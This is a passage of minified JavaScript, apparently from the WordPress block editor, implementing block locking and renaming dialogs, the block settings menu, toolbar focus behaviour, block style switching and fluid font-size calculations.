AE({clientId:e,onClose:t}){let[o,r]=(0,yS.useState)({move:!1,remove:!1}),{isEditLocked:n,isMoveLocked:i,isRemoveLocked:s}=ei(e),{allowsEditLocking:a,templateLock:c,hasTemplateLock:u}=(0,OE.useSelect)(v=&gt;{let{getBlockName:k,getBlockAttributes:y}=v(_),S=k(e),x=(0,HZ.getBlockType)(S);return{allowsEditLocking:WCe.includes(S),templateLock:y(e)?.templateLock,hasTemplateLock:!!x?.attributes?.templateLock}},[e]),[d,f]=(0,yS.useState)(!!c),{updateBlockAttributes:m}=(0,OE.useDispatch)(_),h=Tt(e);(0,yS.useEffect)(()=&gt;{r({move:i,remove:s,...a?{edit:n}:{}})},[n,i,s,a]);let p=Object.values(o).every(Boolean),g=Object.values(o).some(Boolean)&amp;&amp;!p,b=o.move!==i||o.remove!==s||a&amp;&amp;o.edit!==n||u&amp;&amp;d!==!!c;return(0,It.jsx)(bo.Modal,{title:(0,Ki.sprintf)((0,Ki.__)(&quot;Lock %s&quot;),h.title),overlayClassName:&quot;block-editor-block-lock-modal&quot;,onRequestClose:t,size:&quot;small&quot;,children:(0,It.jsxs)(&quot;form&quot;,{onSubmit:v=&gt;{v.preventDefault(),b&amp;&amp;(m([e],{lock:o,templateLock:d?$Ce(o):void 0}),t())},children:[(0,It.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-block-lock-modal__options&quot;,children:[(0,It.jsx)(&quot;legend&quot;,{children:(0,Ki.__)(&quot;Select the features you want to lock&quot;)}),(0,It.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;block-editor-block-lock-modal__checklist&quot;,children:(0,It.jsxs)(&quot;li&quot;,{children:[(0,It.jsx)(bo.CheckboxControl,{className:&quot;block-editor-block-lock-modal__options-all&quot;,label:(0,Ki.__)(&quot;Lock all&quot;),checked:p,indeterminate:g,onChange:v=&gt;r({move:v,remove:v,...a?{edit:v}:{}})}),(0,It.jsxs)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;block-editor-block-lock-modal__checklist&quot;,children:[a&amp;&amp;(0,It.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-lock-modal__checklist-item&quot;,children:[(0,It.jsx)(bo.CheckboxControl,{label:(0,Ki.__)(&quot;Lock editing&quot;),checked:!!o.edit,onChange:v=&gt;r(k=&gt;({...k,edit:v}))}),(0,It.jsx)(bo.Icon,{className:&quot;block-editor-block-lock-modal__lock-icon&quot;,icon:o.edit?Rf:vl})]}),(0,It.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-lock-modal__checklist-item&quot;,children:[(0,It.jsx)(bo.CheckboxControl,{label:(0,Ki.__)(&quot;Lock movement&quot;),checked:o.move,onChange:v=&gt;r(k=&gt;({...k,move:v}))}),(0,It.jsx)(bo.Icon,{className:&quot;block-editor-block-lock-modal__lock-icon&quot;,icon:o.move?Rf:vl})]}),(0,It.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-lock-modal__checklist-item&quot;,children:[(0,It.jsx)(bo.CheckboxControl,{label:(0,Ki.__)(&quot;Lock removal&quot;),checked:o.remove,onChange:v=&gt;r(k=&gt;({...k,remove:v}))}),(0,It.jsx)(bo.Icon,{className:&quot;block-editor-block-lock-modal__lock-icon&quot;,icon:o.remove?Rf:vl})]})]})]})}),u&amp;&amp;(0,It.jsx)(bo.ToggleControl,{className:&quot;block-editor-block-lock-modal__template-lock&quot;,label:(0,Ki.__)(&quot;Apply to all blocks inside&quot;),checked:d,disabled:o.move&amp;&amp;!o.remove,onChange:()=&gt;f(!d)})]}),(0,It.jsxs)(bo.Flex,{className:&quot;block-editor-block-lock-modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:[(0,It.jsx)(bo.FlexItem,{children:(0,It.jsx)(bo.Button,{variant:&quot;tertiary&quot;,onClick:t,__next40pxDefaultSize:!0,children:(0,Ki.__)(&quot;Cancel&quot;)})}),(0,It.jsx)(bo.FlexItem,{children:(0,It.jsx)(bo.Button,{variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:!b,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,Ki.__)(&quot;Apply&quot;)})})]})]})})}var Em=l(w(),1);function xV({clientId:e}){let{canLock:t,isLocked:o}=ei(e),[r,n]=(0,GZ.useReducer)(s=&gt;!s,!1);if(!t)return null;let i=o?(0,_V.__)(&quot;Unlock&quot;):(0,_V.__)(&quot;Lock&quot;);return(0,Em.jsxs)(Em.Fragment,{children:[(0,Em.jsx)(WZ.MenuItem,{icon:o?vl:CL,onClick:n,&quot;aria-expanded&quot;:r,&quot;aria-haspopup&quot;:&quot;dialog&quot;,children:i}),r&amp;&amp;(0,Em.jsx)(AE,{clientId:e,onClose:n})]})}var LE=l(N(),1),NE=l(A(),1),_g=l(R(),1);var ld=l(w(),1);function wV({clientId:e}){let{canLock:t,isLocked:o}=ei(e),[r,n]=(0,_g.useReducer)(a=&gt;!a,!1),i=(0,_g.useRef)(!1);if((0,_g.useEffect)(()=&gt;{o&amp;&amp;(i.current=!0)},[o]),!o&amp;&amp;!i.current)return null;let s=o?(0,LE.__)(&quot;Unlock&quot;):(0,LE.__)(&quot;Lock&quot;);return!t&amp;&amp;o&amp;&amp;(s=(0,LE.__)(&quot;Locked&quot;)),(0,ld.jsxs)(ld.Fragment,{children:[(0,ld.jsx)(NE.ToolbarGroup,{className:&quot;block-editor-block-lock-toolbar&quot;,children:(0,ld.jsx)(NE.ToolbarButton,{disabled:!t,icon:o?Rf:vl,label:s,onClick:n,&quot;aria-expanded&quot;:r,&quot;aria-haspopup&quot;:&quot;dialog&quot;})}),r&amp;&amp;(0,ld.jsx)(AE,{clientId:e,onClose:n})]})}var CV=l(N(),1),$Z=l(A(),1),ME=l($(),1),DE=l(F(),1);var KZ=l(w(),1),KCe=()=&gt;{};function YZ({clientId:e,onToggle:t=KCe}){let{blockType:o,mode:r,enabled:n}=(0,DE.useSelect)(a=&gt;{let{getBlock:c,getBlockMode:u,getSettings:d}=a(_),f=c(e);return{mode:u(e),blockType:f?(0,ME.getBlockType)(f.name):null,enabled:d().codeEditingEnabled&amp;&amp;!!f?.isValid}},[e]),{toggleBlockMode:i}=(0,DE.useDispatch)(_);if(!o||!(0,ME.hasBlockSupport)(o,&quot;html&quot;,!0)||!n)return null;let s=r===&quot;visual&quot;?(0,CV.__)(&quot;Edit as HTML&quot;):(0,CV.__)(&quot;Edit visually&quot;);return(0,KZ.jsx)($Z.MenuItem,{onClick:()=&gt;{i(e),t()},children:s})}var QZ=l(A(),1),JZ=l(N(),1),eX=l(R(),1),tX=l(F(),1),oX=l(Is(),1);var Fs=l(A(),1),Vs=l(N(),1),ZZ=l(R(),1),XZ=l(Xo(),1),VE=l(F(),1);function qZ(e){return e?.trim()?.length===0}var Jl=l(w(),1);function Tm({clientId:e,onClose:t}){let[o,r]=(0,ZZ.useState)(),n=Tt(e),{metadata:i}=(0,VE.useSelect)(b=&gt;{let{getBlockAttributes:v}=b(_);return{metadata:v(e)?.metadata}},[e]),{updateBlockAttributes:s}=(0,VE.useDispatch)(_),a=i?.name||&quot;&quot;,c=n?.title,u=!!a&amp;&amp;!!i?.bindings&amp;&amp;Object.values(i.bindings).some(b=&gt;b.source===&quot;core/pattern-overrides&quot;),d=o!==void 0&amp;&amp;o!==a,f=o===c,m=qZ(o),h=d||f,p=b=&gt;b.target.select(),g=()=&gt;{let b=f||m?void 0:o,v=f||m?(0,Vs.sprintf)((0,Vs.__)(&#039;Block name reset to: &quot;%s&quot;.&#039;),o):(0,Vs.sprintf)((0,Vs.__)(&#039;Block name changed to: &quot;%s&quot;.&#039;),o);(0,XZ.speak)(v,&quot;assertive&quot;),s([e],{metadata:Me({...i,name:b})}),t()};return(0,Jl.jsx)(Fs.Modal,{title:(0,Vs.__)(&quot;Rename&quot;),onRequestClose:t,overlayClassName:&quot;block-editor-block-rename-modal&quot;,focusOnMount:&quot;firstContentElement&quot;,size:&quot;small&quot;,children:(0,Jl.jsx)(&quot;form&quot;,{onSubmit:b=&gt;{b.preventDefault(),h&amp;&amp;g()},children:(0,Jl.jsxs)(Fs.__experimentalVStack,{spacing:&quot;3&quot;,children:[(0,Jl.jsx)(Fs.TextControl,{__next40pxDefaultSize:!0,value:o??a,label:(0,Vs.__)(&quot;Name&quot;),help:u?(0,Vs.__)(&quot;This block allows overrides. Changing the name can cause problems with content entered into instances of this pattern.&quot;):void 0,placeholder:c,onChange:r,onFocus:p}),(0,Jl.jsxs)(Fs.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,Jl.jsx)(Fs.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,children:(0,Vs.__)(&quot;Cancel&quot;)}),(0,Jl.jsx)(Fs.Button,{__next40pxDefaultSize:!0,accessibleWhenDisabled:!0,disabled:!h,variant:&quot;primary&quot;,type:&quot;submit&quot;,children:(0,Vs.__)(&quot;Save&quot;)})]})]})})})}var Im=l(w(),1);function BV({clientId:e}){let[t,o]=(0,eX.useState)(!1),r=(0,tX.useSelect)(n=&gt;n(oX.store).getShortcutRepresentation(&quot;core/block-editor/rename&quot;),[]);return(0,Im.jsxs)(Im.Fragment,{children:[(0,Im.jsx)(QZ.MenuItem,{onClick:()=&gt;{o(!0)},&quot;aria-expanded&quot;:t,&quot;aria-haspopup&quot;:&quot;dialog&quot;,shortcut:r,children:(0,JZ.__)(&quot;Rename&quot;)}),t&amp;&amp;(0,Im.jsx)(Tm,{clientId:e,onClose:()=&gt;o(!1)})]})}var rX=l($(),1);function Pm(e){return{canRename:!!e&amp;&amp;(0,rX.getBlockSupport)(e,&quot;renaming&quot;,!0)}}var zs=l(w(),1),{Fill:YCe,Slot:qCe}=(0,xg.createSlotFill)(&quot;BlockSettingsMenuControls&quot;),ZCe=({fillProps:e,clientIds:t=null})=&gt;{let{selectedBlocks:o,selectedClientIds:r,isContentOnly:n,canToggleSelectedBlocksVisibility:i,canEdit:s}=(0,iX.useSelect)(b=&gt;{let{getBlocksByClientId:v,getBlockNamesByClientId:k,getSelectedBlockClientIds:y,getBlockEditingMode:S,canEditBlock:x}=b(_),C=t!==null?t:y();return{selectedBlocks:k(C),selectedClientIds:C,isContentOnly:S(C[0])===&quot;contentOnly&quot;,canToggleSelectedBlocksVisibility:v(C).every(B=&gt;(0,nX.hasBlockSupport)(B.name,&quot;visibility&quot;,!0)),canEdit:x(C[0])}},[t]),{canLock:a}=ei(r[0]),{canRename:c}=Pm(o[0]),u=r.length===1&amp;&amp;a&amp;&amp;!n,d=r.length===1&amp;&amp;c&amp;&amp;!n,f=i&amp;&amp;!n,m=kS(r),{isGroupable:h,isUngroupable:p}=m,g=(h||p)&amp;&amp;!n;return(0,zs.jsx)(qCe,{fillProps:{...e,canEdit:s,selectedBlocks:o,selectedClientIds:r},children:b=&gt;!b?.length&gt;0&amp;&amp;!g&amp;&amp;!u?null:(0,zs.jsxs)(xg.MenuGroup,{children:[g&amp;&amp;(0,zs.jsx)(jZ,{...m,onClose:e?.onClose}),s&amp;&amp;u&amp;&amp;(0,zs.jsx)(xV,{clientId:r[0]}),s&amp;&amp;d&amp;&amp;(0,zs.jsx)(BV,{clientId:r[0]}),s&amp;&amp;f&amp;&amp;(0,zs.jsx)(PD,{clientIds:r}),b,s&amp;&amp;e?.count===1&amp;&amp;!n&amp;&amp;(0,zs.jsx)(YZ,{clientId:e?.firstBlockClientId,onToggle:e?.onClose})]})})};function sX({...e}){return(0,zs.jsx)(xg.__experimentalStyleProvider,{document,children:(0,zs.jsx)(YCe,{...e})})}sX.Slot=ZCe;var FE=sX;var aX=l(R(),1),lX=l(A(),1),cX=l(Z(),1),uX=l(F(),1),zE=l(N(),1);var EV=l(w(),1);function dX({parentClientId:e,parentBlockType:t}){let o=(0,cX.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),{selectBlock:r}=(0,uX.useDispatch)(_),n=(0,aX.useRef)(),i=kg({ref:n,highlightParent:!0});return o?(0,EV.jsx)(lX.MenuItem,{...i,ref:n,icon:(0,EV.jsx)(Ae,{icon:t.icon}),onClick:()=&gt;r(e),children:(0,zE.sprintf)((0,zE.__)(&quot;Select parent block (%s)&quot;),t.title)}):null}var kt=l(w(),1),XCe={className:&quot;block-editor-block-settings-menu__popover&quot;,placement:&quot;bottom-start&quot;};function TV({clientIds:e,onCopy:t,label:o,shortcut:r,eventType:n=&quot;copy&quot;,__experimentalUpdateSelection:i=!1}){let{getBlocksByClientId:s}=(0,Om.useSelect)(_),{removeBlocks:a}=(0,Om.useDispatch)(_),c=Oh(),u=(0,Rm.useCopyToClipboard)(()=&gt;(0,wg.serialize)(s(e)),()=&gt;{switch(n){case&quot;copy&quot;:case&quot;copyStyles&quot;:t(),c(n,e);break;case&quot;cut&quot;:c(n,e),a(e,i);break;default:break}}),d=o||(0,Pa.__)(&quot;Copy&quot;);return(0,kt.jsx)(ti.MenuItem,{ref:u,shortcut:r,children:d})}function IV({block:e,clientIds:t,children:o,__experimentalSelectBlock:r,...n}){let i=t.length,s=t[0],{firstParentClientId:a,parentBlockType:c,previousBlockClientId:u,selectedBlockClientIds:d,isContentOnly:f,isZoomOut:m,canEdit:h}=(0,Om.useSelect)(C=&gt;{let{getBlockName:B,getBlockRootClientId:I,getPreviousBlockClientId:P,getSelectedBlockClientIds:E,getBlockAttributes:L,getBlockEditingMode:T,isZoomOut:O,canEditBlock:D}=M(C(_)),{getActiveBlockVariation:U}=C(wg.store),G=I(s),j=G&amp;&amp;B(G);return{firstParentClientId:G,parentBlockType:G&amp;&amp;(U(j,L(G))||(0,wg.getBlockType)(j)),previousBlockClientId:P(s),selectedBlockClientIds:E(),isContentOnly:T(s)===&quot;contentOnly&quot;,isZoomOut:O(),canEdit:D(s)}},[s]),{getBlockOrder:p,getSelectedBlockClientIds:g}=(0,Om.useSelect)(_),b=(0,Om.useSelect)(C=&gt;{let{getShortcutRepresentation:B}=C(fX.store);return{copy:B(&quot;core/block-editor/copy&quot;),cut:B(&quot;core/block-editor/cut&quot;),duplicate:B(&quot;core/block-editor/duplicate&quot;),remove:B(&quot;core/block-editor/remove&quot;),insertAfter:B(&quot;core/block-editor/insert-after&quot;),insertBefore:B(&quot;core/block-editor/insert-before&quot;)}},[]),v=d.length&gt;0;async function k(C){if(!r)return;let B=await C;B&amp;&amp;B[0]&amp;&amp;r(B[0],!1)}function y(){if(!r)return;let C=u||a;C||(C=p()[0]);let B=v&amp;&amp;g().length===0;r(C,B)}let x=!d?.includes(a)&amp;&amp;!!a;return(0,kt.jsx)(IZ,{clientIds:t,__experimentalUpdateSelection:!r,children:({canCopyStyles:C,canDuplicate:B,canInsertBlock:I,canRemove:P,onDuplicate:E,onInsertAfter:L,onInsertBefore:T,onRemove:O,onCopy:D,onPasteStyles:U})=&gt;!P&amp;&amp;!B&amp;&amp;!I&amp;&amp;f?null:(0,kt.jsx)(ti.DropdownMenu,{icon:ks,label:(0,Pa.__)(&quot;Options&quot;),className:&quot;block-editor-block-settings-menu&quot;,popoverProps:XCe,noIcons:!0,...n,children:({onClose:j})=&gt;(0,kt.jsxs)(kt.Fragment,{children:[(0,kt.jsxs)(ti.MenuGroup,{children:[(0,kt.jsx)(TE.Slot,{fillProps:{onClose:j}}),x&amp;&amp;(0,kt.jsx)(dX,{parentClientId:a,parentBlockType:c}),h&amp;&amp;i===1&amp;&amp;(0,kt.jsx)(LZ,{clientId:s}),!f&amp;&amp;(0,kt.jsx)(TV,{clientIds:t,onCopy:D,shortcut:b.copy}),P&amp;&amp;!f&amp;&amp;(0,kt.jsx)(TV,{clientIds:t,label:(0,Pa.__)(&quot;Cut&quot;),eventType:&quot;cut&quot;,shortcut:b.cut,__experimentalUpdateSelection:!r}),B&amp;&amp;(0,kt.jsx)(ti.MenuItem,{onClick:(0,Rm.pipe)(j,E,k),shortcut:b.duplicate,children:(0,Pa.__)(&quot;Duplicate&quot;)}),I&amp;&amp;!m&amp;&amp;(0,kt.jsxs)(kt.Fragment,{children:[(0,kt.jsx)(ti.MenuItem,{onClick:(0,Rm.pipe)(j,T),shortcut:b.insertBefore,children:(0,Pa.__)(&quot;Add before&quot;)}),(0,kt.jsx)(ti.MenuItem,{onClick:(0,Rm.pipe)(j,L),shortcut:b.insertAfter,children:(0,Pa.__)(&quot;Add after&quot;)})]}),h&amp;&amp;i===1&amp;&amp;(0,kt.jsx)(CE.Slot,{fillProps:{clientId:s,onClose:j}})]}),C&amp;&amp;!f&amp;&amp;(0,kt.jsxs)(ti.MenuGroup,{children:[(0,kt.jsx)(TV,{clientIds:t,onCopy:D,label:(0,Pa.__)(&quot;Copy styles&quot;),eventType:&quot;copyStyles&quot;}),h&amp;&amp;(0,kt.jsx)(ti.MenuItem,{onClick:U,children:(0,Pa.__)(&quot;Paste styles&quot;)})]}),!f&amp;&amp;(0,kt.jsx)(FE.Slot,{fillProps:{onClose:j,count:i,firstBlockClientId:s},clientIds:t}),typeof o==&quot;function&quot;?o({onClose:j}):jE.Children.map(z=&gt;(0,jE.cloneElement)(z,{onClose:j})),P&amp;&amp;(0,kt.jsx)(ti.MenuGroup,{children:(0,kt.jsx)(ti.MenuItem,{onClick:(0,Rm.pipe)(j,O,y),shortcut:b.remove,children:(0,Pa.__)(&quot;Delete&quot;)})})]})})})}var mX=IV;var pX=l(A(),1),QCe=(0,pX.createSlotFill)(Symbol(&quot;CommentIconToolbarSlotFill&quot;)),UE=QCe;var Cg=l(w(),1);function JCe({clientIds:e,...t}){return(0,Cg.jsxs)(HE.ToolbarGroup,{children:[(0,Cg.jsx)(UE.Slot,{}),(0,Cg.jsx)(HE.ToolbarItem,{children:o=&gt;(0,Cg.jsx)(mX,{clientIds:e,toggleProps:o,...t})})]})}var GE=JCe;var WE=l(A(),1),hX=l(N(),1),$E=l(F(),1);var PV=l(w(),1);function gX({clientIds:e}){let t=e.length===1?e[0]:void 0,o=(0,$E.useSelect)(n=&gt;!!t&amp;&amp;n(_).getBlockMode(t)===&quot;html&quot;,[t]),{toggleBlockMode:r}=(0,$E.useDispatch)(_);return o?(0,PV.jsx)(WE.ToolbarGroup,{children:(0,PV.jsx)(WE.ToolbarButton,{onClick:()=&gt;{r(t)},children:(0,hX.__)(&quot;Edit visually&quot;)})}):null}var KE=l(A(),1),Yr=l(R(),1),vX=l(F(),1),yX=l(Re(),1),OV=l(Fe(),1),SX=l(Is(),1),_X=l(it(),1);var RV=l(w(),1);function e1e(e){let t=&quot;toolbarItem&quot;;return!e.some(o=&gt;!(t in o.dataset))}function bX(e){return Array.from(e.querySelectorAll(&quot;[data-toolbar-item]:not([disabled])&quot;))}function kX(e){return e.contains(e.ownerDocument.activeElement)}function t1e(e){let[t]=OV.focus.tabbable.find(e);t&amp;&amp;t.focus({preventScroll:!0})}function o1e(e){let[o,r]=(0,Yr.useState)(!0),n=(0,Yr.useCallback)(()=&gt;{let i=OV.focus.tabbable.find(e.current),s=e1e(i);s||(0,yX.default)(&quot;Using custom components as toolbar controls&quot;,{since:&quot;5.6&quot;,alternative:&quot;ToolbarItem, ToolbarButton or ToolbarDropdownMenu components&quot;,link:&quot;https://developer.wordpress.org/block-editor/components/toolbar-button/#inside-blockcontrols&quot;}),r(s)},[e]);return(0,Yr.useLayoutEffect)(()=&gt;{let i=new window.MutationObserver(n);return i.observe(e.current,{childList:!0,subtree:!0}),()=&gt;i.disconnect()},[n,o,e]),o}function r1e({toolbarRef:e,focusOnMount:t,isAccessibleToolbar:o,defaultIndex:r,onIndexChange:n,shouldUseKeyboardFocusShortcut:i,focusEditorOnEscape:s}){let[a]=(0,Yr.useState)(t),[c]=(0,Yr.useState)(r),u=(0,Yr.useCallback)(()=&gt;{t1e(e.current)},[e]);(0,SX.useShortcut)(&quot;core/block-editor/focus-toolbar&quot;,()=&gt;{i&amp;&amp;u()}),(0,Yr.useEffect)(()=&gt;{a&amp;&amp;u()},[o,a,u]),(0,Yr.useEffect)(()=&gt;{let m=e.current,h=0;return!a&amp;&amp;!kX(m)&amp;&amp;(h=window.requestAnimationFrame(()=&gt;{let p=bX(m),g=c||0;p[g]&amp;&amp;kX(m)&amp;&amp;p[g].focus({preventScroll:!0})})),()=&gt;{if(window.cancelAnimationFrame(h),!n||!m)return;let g=bX(m).findIndex(b=&gt;b.tabIndex===0);n(g)}},[c,a,n,e]);let{getLastFocus:f}=M((0,vX.useSelect)(_));(0,Yr.useEffect)(()=&gt;{let m=e.current;if(s){let h=p=&gt;{let g=f();p.keyCode===_X.ESCAPE&amp;&amp;g?.current&amp;&amp;(p.preventDefault(),g.current.focus())};return m.addEventListener(&quot;keydown&quot;,h),()=&gt;{m.removeEventListener(&quot;keydown&quot;,h)}}},[s,f,e])}function Bg({children:e,focusOnMount:t,focusEditorOnEscape:o=!1,shouldUseKeyboardFocusShortcut:r=!0,__experimentalInitialIndex:n,__experimentalOnIndexChange:i,orientation:s=&quot;horizontal&quot;,...a}){let c=(0,Yr.useRef)(),u=o1e(c);return r1e({toolbarRef:c,focusOnMount:t,defaultIndex:n,onIndexChange:i,isAccessibleToolbar:u,shouldUseKeyboardFocusShortcut:r,focusEditorOnEscape:o}),u?(0,RV.jsx)(KE.Toolbar,{label:a[&quot;aria-label&quot;],ref:c,orientation:s,...a,children:e}):(0,RV.jsx)(KE.NavigableMenu,{orientation:s,role:&quot;toolbar&quot;,ref:c,...a,children:e})}var xX=l(F(),1),YE=l($(),1);function qE(){return(0,xX.useSelect)(t=&gt;{let{getBlockEditingMode:o,getBlockName:r,getBlockSelectionStart:n}=t(_),i=n(),s=i&amp;&amp;(0,YE.getBlockType)(r(i));return s&amp;&amp;(0,YE.hasBlockSupport)(s,&quot;__experimentalToolbar&quot;,!0)&amp;&amp;o(i)!==&quot;disabled&quot;},[])}var cd=l(A(),1),wX=l(N(),1),CX=l($(),1),BX=l(R(),1),ZE=l(F(),1);var Eg=l(w(),1),AV=[],n1e=6,i1e={placement:&quot;bottom-start&quot;};function EX({clientId:e}){let{categories:t,currentPatternName:o,patterns:r}=(0,ZE.useSelect)(a=&gt;{let{getBlockAttributes:c,getBlockRootClientId:u,__experimentalGetAllowedPatterns:d}=a(_),f=c(e),m=f?.metadata?.categories||AV,h=u(e),p=m.length&gt;0?d(h):AV;return{categories:m,currentPatternName:f?.metadata?.patternName,patterns:p}},[e]),{replaceBlocks:n}=(0,ZE.useDispatch)(_),i=(0,BX.useMemo)(()=&gt;t.length===0||!r||r.length===0?AV:r.filter(a=&gt;{let c=a.source===&quot;core&quot;||a.source?.startsWith(&quot;pattern-directory&quot;)&amp;&amp;a.source!==&quot;pattern-directory/theme&quot;;return a.blocks.length===1&amp;&amp;!c&amp;&amp;o!==a.name&amp;&amp;a.categories?.some(u=&gt;t.includes(u))&amp;&amp;(a.syncStatus===&quot;unsynced&quot;||!a.id)}).slice(0,n1e),[t,o,r]);if(i.length&lt;2)return null;let s=a=&gt;{let c=(a.blocks??[]).map(u=&gt;(0,CX.cloneBlock)(u));c[0].attributes.metadata={...c[0].attributes.metadata,categories:t},n(e,c)};return(0,Eg.jsx)(cd.Dropdown,{popoverProps:i1e,renderToggle:({onToggle:a,isOpen:c})=&gt;(0,Eg.jsx)(cd.ToolbarGroup,{children:(0,Eg.jsx)(cd.ToolbarButton,{onClick:()=&gt;a(!c),&quot;aria-expanded&quot;:c,children:(0,wX.__)(&quot;Change design&quot;)})}),renderContent:()=&gt;(0,Eg.jsx)(cd.__experimentalDropdownContentWrapper,{className:&quot;block-editor-block-toolbar-change-design-content-wrapper&quot;,paddingSize:&quot;none&quot;,children:(0,Eg.jsx)(Ca,{blockPatterns:i,onClickPattern:s,showTitlesAsTooltip:!0})})})}var Us=l(A(),1),XX=l(N(),1),iT=l(F(),1);var JE=l(F(),1),ud=l($(),1),OX=l(R(),1);var LV=l(XE(),1),IX=l(N(),1);function PX(e,t){for(let o of new LV.default(t).values()){if(o.indexOf(&quot;is-style-&quot;)===-1)continue;let r=o.substring(9),n=e?.find(({name:i})=&gt;i===r);if(n)return n}return QE(e)}function Tg(e,t,o){let r=new LV.default(e);return t&amp;&amp;r.remove(&quot;is-style-&quot;+t.name),r.add(&quot;is-style-&quot;+o.name),r.value}function RX(e){return!e||e.length===0?[]:QE(e)?e:[{name:&quot;default&quot;,label:(0,IX._x)(&quot;Default&quot;,&quot;block style&quot;),isDefault:!0},...e]}function QE(e){return e?.find(t=&gt;t.isDefault)}function s1e(e,t){return(0,OX.useMemo)(()=&gt;{let o=t?.example,r=t?.name;if(o&amp;&amp;r)return(0,ud.getBlockFromExample)(r,{attributes:o.attributes,innerBlocks:o.innerBlocks});if(e)return(0,ud.cloneBlock)(e)},[e,t?.example,t?.name])}function Ig({clientId:e,onSwitch:t}){let o=m=&gt;{let{getBlock:h}=m(_),p=h(e);if(!p)return{};let g=(0,ud.getBlockType)(p.name),{getBlockStyles:b}=m(ud.store);return{block:g?.example?null:p,blockType:g,styles:b(p.name),className:p.attributes.className||&quot;&quot;}},{styles:r,block:n,blockType:i,className:s}=(0,JE.useSelect)(o,[e]),{updateBlockAttributes:a}=(0,JE.useDispatch)(_),c=RX(r),u=PX(c,s),d=s1e(n,i);return{onSelect:m=&gt;{let h=Tg(s,u,m);a(e,{className:h}),t()},stylesToRender:c,activeStyle:u,genericPreviewBlock:d,className:s}}var Lg=l($(),1),BS=l(F(),1),nT=l(R(),1);function AX(e,t,o){t=Array.isArray(t)?[...t]:[t],e=Array.isArray(e)?[...e]:{...e};let r=t.pop(),n=e;for(let i of t){let s=n[i];n=n[i]=Array.isArray(s)?[...s]:{...s}}return n[r]=o,e}var Oo=(e,t,o)=&gt;{let r=Array.isArray(t)?t:t.split(&quot;.&quot;),n=e;return r.forEach(i=&gt;{n=n?.[i]}),n??o};var NX=l(Uv(),1);var a1e=&quot;1600px&quot;,l1e=&quot;320px&quot;,c1e=1,u1e=.25,d1e=.75,f1e=&quot;14px&quot;;function LX({minimumFontSize:e,maximumFontSize:t,fontSize:o,minimumViewportWidth:r=l1e,maximumViewportWidth:n=a1e,scaleFactor:i=c1e,minimumFontSizeLimit:s}){if(s=Ra(s)?s:f1e,o){let y=Ra(o);if(!y?.unit||!y?.value)return null;let S=Ra(s,{coerceTo:y.unit});if(S?.value&amp;&amp;!e&amp;&amp;!t&amp;&amp;y?.value&lt;=S?.value)return null;if(t||(t=`${y.value}${y.unit}`),!e){let x=y.unit===&quot;px&quot;?y.value:y.value*16,C=Math.min(Math.max(1-.075*Math.log2(x),u1e),d1e),B=SS(y.value*C,3);S?.value&amp;&amp;B&lt;S?.value?e=`${S.value}${S.unit}`:e=`${B}${y.unit}`}}let a=Ra(e),c=a?.unit||&quot;rem&quot;,u=Ra(t,{coerceTo:c});if(!a||!u)return null;let d=Ra(e,{coerceTo:&quot;rem&quot;}),f=Ra(n,{coerceTo:c}),m=Ra(r,{coerceTo:c});if(!f||!m||!d)return null;let h=f.value-m.value;if(!h)return null;let p=SS(m.value/100,3),g=SS(p,3)+c,b=100*((u.value-a.value)/h),v=SS((b||1)*i,3),k=`${d.value}${d.unit} + ((1vw - ${g}) * ${v})`;return`clamp(${e}, ${k}, ${t})`}function Ra(e,t={}){if(typeof e!=&quot;string&quot;&amp;&amp;typeof e!=&quot;number&quot;)return null;isFinite(e)&amp;&amp;(e=`${e}px`);let{coerceTo:o,rootSizeValue:r,acceptableUnits:n}={coerceTo:&quot;&quot;,rootSizeValue:16,acceptableUnits:[&quot;rem&quot;,&quot;px&quot;,&quot;em&quot;],...t},i=n?.join(&quot;|&quot;),s=new RegExp(`^(\\d*\\.?\\d+)(${i}){1,1}$`),a=e.toString().match(s);if(!a||a.length&lt;3)return null;let[,c,u]=a,d=parseFloat(c);return o===&quot;px&quot;&amp;&amp;(u===&quot;em&quot;||u===&quot;rem&quot;)&amp;&amp;(d=d*r,u=o),u===&quot;px&quot;&amp;&amp;(o===&quot;em&quot;||o===&quot;rem&quot;)&amp;&amp;(d=d/r,u=o),(o===&quot;em&quot;||o===&quot;rem&quot;)&amp;&amp;(u===&quot;em&quot;||u===&quot;rem&quot;)&amp;&amp;(u=o),u?{value:SS(d,3),unit:u}:null}function SS(e,t=3){let o=Math.pow(10,t);return Math.round(e*o)/o}function NV(e){let t=e?.fluid;return t===!0||t&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;Object.keys(t).length&gt;0}function m1e(e){let t=e?.typography??{},o=e?.layout,r=Ra(o?.wideSize)?o?.wideSize:null;return NV(t)&amp;&amp;r?{fluid:{maxViewportWidth:r,...typeof t.fluid==&quot;object&quot;?t.fluid:{}}}:{fluid:t?.fluid}}function ec(e,t){let{size:o}=e;if(!o||o===&quot;0&quot;||e?.fluid===!1||!NV(t?.typography)&amp;&amp;!NV(e))return o;let r=m1e(t)?.fluid??{},n=LX({minimumFontSize:typeof e?.fluid==&quot;boolean&quot;?void 0:e?.fluid?.min,maximumFontSize:typeof e?.fluid==&quot;boolean&quot;?void 0:e?.fluid?.max,fontSize:o,minimumFontSizeLimit:typeof r==&quot;object&quot;?r?.minFontSize:void 0,maximumViewportWidth:typeof r==&quot;object&quot;?r?.maxViewportWidth:void 0,minimumViewportWidth:typeof r==&quot;object&quot;?r?.minViewportWidth:void 0});return n||o}var 